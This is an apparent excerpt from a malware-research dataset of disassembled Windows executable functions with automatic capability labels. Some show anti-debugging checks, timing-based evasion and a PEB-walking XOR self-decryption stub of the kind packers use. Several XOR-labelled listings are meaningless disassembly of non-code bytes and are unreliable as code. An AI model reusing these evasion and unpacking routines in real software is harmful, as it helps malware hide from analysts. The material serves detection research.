joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443540
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x49fdf3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004913c7
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.00496b40
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00498192
test eax, eax
je 0x44365c
mov ecx, dword [esp + 0x3c]
call fcn.00496b6d
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x443620
push edi
mov ecx, esi
call fcn.0049412a
mov ecx, esi
call fcn.004437c0
cmp dword [esp + 0x38], 1
jne 0x443655
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00494294
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x446070
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4460a3
push esi
call fcn.00449180
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44609c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x446129
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x446112
mov eax, dword [esi + 8]
test eax, eax
je 0x4460c7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44610e
cmp eax, 2
je 0x446112
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4460ba
cmp eax, 3
je 0x4460ed
cmp eax, 1
jne 0x4460ba
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4460ba
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4460ba
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00446150
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x446138
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00446150
add esp, 4
pop esi
ret
Function at 0x453890
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4538d9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x453d50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a0540
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00453900
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00453980
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00453980
lea ecx, [esi + 0xc]
call fcn.0048fd58
lea ecx, [esi + 0x10]
call fcn.0048fd58
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00454f20
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00454f20
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00454f20
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0048fdcd
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0048fdcd
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x455110
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x455176
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x455176
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x455157
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x45cee0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x45d001
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x45cfe5
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x45cf37
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x45cf15
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18

Function at 0x45da49
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x45daa0
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x45daa0
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x45daa0
xor eax, eax
inc eax
jmp 0x45daa2
xor eax, eax
leave
ret 0x10
Function at 0x45dacb
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x45db39
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x4c5cb4
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x45db30
cmp dword [ebp - 0xc], 4
jne 0x45db30
cmp dword [ebp - 0x10], edi
je 0x45db30
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x5b3258], edi
xor eax, eax
jmp 0x45db78
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x5b3258], edi
jge 0x45db73
lea eax, [ebp - 0x34]
push eax
mov dword [0x5b3258], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x45db73
cmp word [ebp - 0x14], 5
jb 0x45db73
call fcn.0045daa6
test eax, eax
je 0x45db73
emms
mov dword [0x5b3258], 1
mov eax, dword [0x5b3258]
pop edi
leave
ret

Function at 0x4921bd
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4921f5
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00490274
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0049024c
jmp 0x492201
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4938ab
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4938ed
call fcn.00499759
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4938ed
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4938e4
xor eax, eax
jmp 0x4938f5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004938fb
pop edi
pop esi
pop ebx
ret 4

Function at 0x499c89
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x499cb7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x499cd5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00499bef
jmp 0x499cd5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x499cd5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00499bef
test edi, edi
mov eax, edi
jne 0x499cbf
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10001670
Capabilities:
Encode data using xor

Disassembly:
inc ecx
and esp, dword [edi]
jp 0x10001658
sub al, 0xb
std
or edi, ebp
scasd eax, dword es:[edi]
daa
cmpsb byte [esi], byte es:[edi]
ficom word [ebp + 2]
xchg esi, eax
stosb byte es:[edi], al
mov al, byte [0x9f5c727e]
popal
xor dword [edi - 0x2a], 0x30
out 0x1f, al
mov ebx, 0x4d8a1fa7
popal
xchg edx, eax
xlatb
js 0x10001620
lahf
popal
int1
pushfd
scasb al, byte es:[edi]
mov bh, 0xa1
cmpsb byte [esi], byte es:[edi]
into
mov edi, 0xb15e3d9d
pop ecx
lahf
insb byte es:[edi], dx
cmp esi, edx
mov dh, 0xec
invalid
sbb al, 0xee
ja 0x1000161a
dec ebp
push ss
cmpsb byte [esi], byte es:[edi]
nop
sal dword [edi - 0x185dc363], 0x33
popfd
cmp al, 0xa2
out 0x33, eax
popfd
cmp al, 0xa2
out 0x33, eax
fbld tbyte [esi + ebx*8]
or al, 0x19
je 0x10001668
sub ebp, dword [ebx - 0x36ff823a]
and dword [0xab7f8dfa], edi

Function at 0x10002359
Capabilities:
Encode data using xor

Disassembly:
jecxz 0x10002399
sub eax, 0x8e63c12e
stosd dword es:[edi], eax
rsqrtps xmm0, xmmword [edx + 0x1c53fdbb]
ljmp 0x3291
outsb dx, byte [esi]
xor esi, dword [ecx + ebp*8 - 0x443a4bd9]
daa
mov ah, 0xc5
mov ebx, 0xe6dcfc2a
daa
mov ah, 0xc5
mov ebx, 0xe6dcfc2a
push cs
xor esi, 0x60
push esp
stc
mov edi, dword [ecx - 0x50]
jle 0x10002355
dec eax
wait
mov al, 0x8e
aam 0x7e
movsd dword es:[edi], dword [esi]
scasd eax, dword es:[edi]
pop ss
insb byte es:[edi], dx
dec edx
or dword [ecx + 0x7c], 0x6e
jge 0x100023e5
das
stosd dword es:[edi], eax
jb 0x1000232c
pop ebx
add eax, 0x1a51ccb9
mov ebx, 0xdf762770
fucompi st(7)
adc cl, byte [edi + 0x6b001dd9]
cmpsd dword [esi], dword es:[edi]
mov eax, dword [0xdb33b9a6]
cmp eax, 0xec625760
fstp xword [0xec625760]
enter 0xfffffffffffff7ff, 0x3b
add bl, ch
or dword [0xaecc8b72], ebp
sub eax, 0x7ceeb8fd
xor byte [esi + 0x6c44ee02], bl
inc dword [eax]
ficomp dword [ebx - 0xd]
aaa
dec edx
mov ch, 0x40
sal dword [edx + 0xc885d6], 0x38
lcall 0xd5ab, 0x2a4ba3d4
xor eax, 0x10bbcd64
jo 0x1000243e
invalid
wait
pop ss
push edx
dec eax
pop ecx
adc al, 0xc1
add byte [edi - 0x57], cl
popfd
jbe 0x10002426
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 6
inc esp
xlatb
or dword [eax], esp
invalid
aam 0x4f
cmpsd dword ds:[esi], dword es:[edi]
pop esi
ljmp 0xe32c
mov al, byte [esi]
mov ebp, dword [esi - 0xe2a2680]
notrack jmp 0xb237b9cc
Function at 0x1000e4d2
Capabilities:
Encode data using xor

Disassembly:
jp 0x1000e50f
out 0x38, eax
out 0x2d, al
push eax
push es
sar dl, 0x8b
out 0x1a, al
invalid
xchg ch, ch
rcl byte [ebx - 0x11c28628]
hlt
jnp 0x1000e4e3
invalid
add esp, dword [ecx - 0x6305abc3]
add byte [ecx - 0x2346cacb], dl
jne 0x1000e4b3
pushal
push ebp
invalid
fsub st(5)
fdiv st(3)
dec edi
jge 0x1000e4c2
jno 0x1000e58f
salc
imul edx, dword [ebx], 0xfc0a2edd
jp 0x1000e558
popfd
sbb eax, 0x603425df
inc eax
invalid
out 0xa9, eax
sbb al, 0x6b
fmul dword [ebx]
bound eax, qword [ebp - 0x69b73a32]
test al, 0x12
invalid
aas
out 0x46, al
popal
pop ss
add al, 0x3f
or byte [edi], bl
mov word [edx + 0xeaea177], ds
add bh, byte [ebp + 0x5ef3ee7f]
mov ebx, 0x513755cf
cmp byte [eax], ah
and edi, eax
test dword [ecx + 0x60], edx
fidivr word [ebx]
mov edx, 0x9a98a024
test dword [edi - 0x10], ebp
invalid

Function at 0x100106ac
Capabilities:
Encode data using xor

Disassembly:
cmc
mov dl, 0x7e
xchg ebx, eax
add byte [0xe205eaac], dl
inc ebp
add esi, ecx
sbb dh, bh
push 0xffffffffffffff90
out 0x4e, eax
add ecx, 0x23
das
jo 0x1001073f
pop esi
out 0xad, al
mov al, 0xda
and al, byte [ebx - 0x5e0eefbb]
pop edi
jmp 0x1001070b
cvtps2pd xmm2, qword [eax + 0x36]
sbb byte [ebx], 0x5d
add dword [ebp + 0x1db45b9b], 0x45
pop ebx
enter 0x4868, 0x4f
pop ecx
and byte [esi + 0x72], bh
jle 0x1001076b
fisttp qword [edi + 0x331c07bd]
xchg ebp, eax
test eax, 0xce4dcec7
vmaxss xmm0, xmm2, dword [ebp - 0x5c]
push ecx
jnp 0x100106e2
fdiv qword [edi - 0x3d966e9d]
jns 0x10010732
add esp, dword ss:[ebx + 0x4c]
jnp 0x100106f7
cmp esp, dword [edi - 0x3656e1a1]
and ebp, ecx
invalid
sub al, 0xfd
xor eax, 0xa392c2f4
or dword ds:[ecx + 0x652481ad], eax
idiv ch
lodsd eax, dword [esi]
and dword [0x418cfdf6], 0xaa03a922
fisttp dword [ebp - 0x6f]
idiv ch
mov word [ecx + 0x22], es
test eax, 0x4ddbaa03
xchg ecx, eax
fild word [ebx + ecx*4]
mov bl, 0xbf
mov byte [0x9ede0876], al
add byte [ecx - 0x71], cl
lcall 0x58ca, 0xc71b7317
ret
js 0x100107eb
fist word [edi]
mov bl, byte [edi + 0x15281dcf]
sbb bl, byte [edi]
fldenv es:[ecx - 0x45c27d94]
adc byte [eax - 0x49ce3d86], dl
mov edi, 0x53eb51a0
add eax, 0x31bfb56c
clc
pushal
or edx, 0x46fef36
je 0x1001073c
mov dword [eax + eax*4 + 0x25f3b7da], esp
test eax, 0xc2412861
arpl word [edi - 0x6293a1b5], si
sub eax, 0xcc6780fe
mov ss, word [ecx + 0x65824147]
inc eax
mov esi, 0xff7a8e49
sbb eax, 0xf1900f6c
sahf
adc ebx, dword [ebx + 0x6da6f884]
mov bl, 0xd8
or dh, byte [edx + 0x62e8c3b5]
call 0x16ec9d10
sbb eax, dword [edi]
pop edx
invalid
xchg esi, eax
mov cl, 0xec
invalid

Function at 0x1001732b
Capabilities:
Encode data using xor

Disassembly:
out dx, eax
in al, 0x4a
push esi
loopne 0x10017311
push ebp
in al, 0xae
cld
sbb eax, 0xd4c86a42
popal
pop edi
ret

Function at 0x10019744
Capabilities:
Encode data using xor

Disassembly:
out 0x59, eax
xor ah, bl
jnp 0x1001972a
fcomp qword [eax]
xchg esi, eax
imul cl
adc al, 0x7e
inc eax
pop ebp
inc byte [ecx]
Function at 0x41915a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x419168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x41914a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x419145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x419145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret

Function at 0x4191d2
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
jmp edx
mov ecx, dword [ebx + 0x28]
cmp ecx, 1
je 0x4191c1
mov ecx, ebx
sub ecx, dword [ebx + 4]
xor cx, cx
mov dword [ebx + 0x24], ecx
add ecx, dword [ebx + 8]
mov esi, ecx
mov ecx, dword [ebx + 0xc]
xor edx, edx
mov eax, dword [ebx + 0x10]
xor dword [esi + edx], eax
add edx, 1
add edx, 2
sub edx, 1
sub edx, 1
add edx, 3
push edx
push ecx
pop ecx
pop edx
cmp edx, ecx
jl 0x4191f5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + 0x24]
add ecx, dword [ebx + 0x1c]
mov esi, ecx
mov ecx, dword [ebx + 0x20]
xor edx, edx
mov eax, dword [ebx + 0x10]
xor dword [esi + edx], eax
add edx, 1
add edx, 2
sub edx, 1
sub edx, 1
add edx, 3
push edx
push ecx
pop ecx
pop edx
cmp edx, ecx
jl 0x419285
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx + 0x28], 1
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
mov dword [esp + 0x34], edx
jmp edx
Function at 0x402960
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x40298f
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403cac
jmp 0x4029ad
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.004028e8
mov edi, eax
test ebx, ebx
je 0x4029ad
cmp dword [esi], 0
je 0x4029ad
dec ebx
jmp 0x402996
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402ba4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x4bd044], 0x8088405
inc edx
mov dword [0x4bd044], edx
mul edx
mov eax, edx
ret

Function at 0x402d10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402da8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402d88
xor eax, eax
push ebp
push 0x402d81
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402dc4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402d88
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret

Function at 0x403b78
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402784
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4bd049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403b40
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4058d8
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405a94
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405939
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405ab0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4059ab
xor eax, eax
push ebp
push 0x4059a4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00405730
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x40598d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405ad0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4059ab
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405a8c
cmp byte [ebp - 0xd], 0
jne 0x4059ed
cmp byte [ebp - 0x12], 0
je 0x405a8c
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405a06
dec ebx
cmp byte [ebx], 0x2e
je 0x405a15
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405a05
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405a8c
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405a42
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405a8c
cmp byte [ebp - 0xd], 0
je 0x405a8c
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405a8c
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408fe0
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00404008
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x409002
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret